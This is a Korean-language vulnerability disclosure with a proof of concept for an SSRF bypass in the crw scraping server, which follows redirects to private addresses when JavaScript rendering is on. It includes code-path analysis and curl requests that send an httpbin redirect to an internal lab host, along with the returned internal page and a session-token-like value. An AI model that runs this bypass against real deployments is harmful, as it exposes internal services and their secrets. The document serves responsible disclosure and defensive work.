crw-PoC — PoC — crw의 URL 안전 필터를 JS 렌더링 계층 우회를 통한 SSRF (GHSA-5jp3-339h-vxqw, CVE-2026-87007, CVSS 7.5). | Kitploit

crates/crw-server/src/routes/scrape.rs:29-34 (crawl.rs:47/136, map.rs:73/58, extract.rs:178/95, batch.rs:111/102, v2/*, routes/mcp.rs:25에서도 동일) — JS 렌더링 요청에 대한 전체 요청 수명 주기에서 유일한 SSRF 검사: crw_core::url_safety::validate_safe_url_resolved(&parsed_url)가 렌더러가 호출되기 전에 호출자의 리터럴 url에 대해 한 번 실행됩니다.
crates/crw-renderer/src/cdp.rs:2621-2631 — fetch_inner의 work future는 원시 url을 그대로 CDP 엔드포인트로 Page.navigate를 전송합니다(chrome 및 lightpanda 계층 모두 이 동일한 함수를 통해 CDP를 사용하므로 공유됨). 이후 Chrome/LightPanda는 자체 DNS 확인을 수행하고 서버 측 리다이렉트, <meta http-equiv="refresh">, 또는 JS location 변경을 내부적으로 따라갑니다. cdp.rs 어디에도 url_safety 호출이 존재하지 않습니다.
crates/crw-renderer/src/blocklist.rs:1-124 — CDP 렌더 중 실행되는 유일한 요청별 Fetch.requestPaused 가로채기 로직(cdp.rs의 약 930-1002행에 연결됨). 이는 대역폭/노이즈 이유로만 광고/트래커 호스트와 차단된 리소스 유형(이미지, 폰트 등)을 필터링하며, 요청의 목적지를 사설/루프백/링크-로컬 범위와 대조하여 검사하지 않습니다.
crates/crw-crawl/src/single.rs:559-569 — 내비게이션 후 final_url이 전혀 검사되는 유일한 위치. redirect_is_material()은 data.warnings에 표면적인 "redirected_to: <url>" 문자열을 첨부할지 여부만 결정하며(northernair.ca를 참조하는 주석에 따라 "잘못된 페이지를 받았습니다"를 표시하기 위함), url_safety::validate_safe_url*을 호출하지 않고 요청을 실패시키지도 않습니다.
대조: crates/crw-renderer/src/http_only.rs:291 — 일반 HTTP(비-JS) 계층은 reqwest::Client를 crw_core::url_safety::safe_redirect_policy()로 올바르게 감싸며, 이는 모든 리다이렉트 홉을 (DNS 확인과 함께) 재검증합니다. 이것이 바로 CDP 계층에서 누락된 보호입니다. 동적으로 확인됨: renderJs:false를 사용한 동일한 PoC 요청은 올바르게 거부됩니다("error following redirect", 기준 스크린샷 참조).

crw/chrome/lightpanda와 동일한 Docker 브리지 네트워크(docker network: source_default)에 사설 주소 172.19.0.6으로 "내부 서비스" 대역을 세웠습니다 — 현실적인 내부처럼 보이는 콘텐츠(제목 "Internal Ops Console", 세션 토큰 형태의 값)를 제공하는 일반 nginx 컨테이너입니다.

기준 — 필터가 정상적으로 작동하는지 확인:

curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
  -d '{"url":"http://172.19.0.6/","renderJs":false}'
→ {"success":false,"error":"Invalid request: Access to 172.19.0.6 is not allowed", ...}

curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
  -d '{"url":"https://httpbin.org/redirect-to?url=http://172.19.0.6/&status_code=302","renderJs":false}'
→ {"success":false,"error":"HTTP request failed: error following redirect ...", ...}

(스크린샷: evidence/ssrf_baseline_blocked.png)

우회 — 동일한 리다이렉트, JS 렌더링 계층 요청:
```
curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
  -d '{"url":"https://httpbin.org/redirect-to?url=http://172.19.0.6/&status_code=302","renderJs":true,"renderer":"chrome","formats":["markdown"]}'
```
결과: HTTP 200, "success":true, "data":{"markdown":"# Internal Ops Console\n\n# internal-ops.crw-lab.local\n\nNode role: primary\n\nBuild: 2026.08.02-rc3\n\nSession token: 8f3d1c9a7e2b4460b9e5d6a1c0f7e3d2", ..., "warnings":["redirected_to: http://172.19.0.6/"], "renderDecision":{"kind":"userPinned","renderer":"chrome"}} — 내부 서버의 콘텐츠가 호출자에게 반환됩니다. 도구 자체의 redirected_to 경고는 차단된 주소로 요청을 따라갔음을 인지하고 있음을 보여주면서도 콘텐츠를 그대로 반환합니다. (스크린샷: evidence/ssrf_chrome_tier_bypass.png)
명시적 렌더러 고정 없이 기본 폴백 체인에서도 우회가 발생함을 확인했습니다("renderJs":true만 — 호출자가 JS 렌더링을 요청하는 일반적인 방식): 사다리는 lightpanda를 선택했고("renderDecision":{"kind":"autoDefault","chosen":"lightpanda"}, "renderedWith":"lightpanda") 동일한 내부 콘텐츠를 반환하여, 두 CDP 계층(chrome만이 아님)이 이 결함을 공유함을 입증했습니다.

연구자	Dostxodjayev Abdullox (@squeeze440)
권고	GHSA-5jp3-339h-vxqw
CVSS 3.1	7.5 (높음)
취약점	CWE-918

crw-PoC

인기

crw: 보안 권고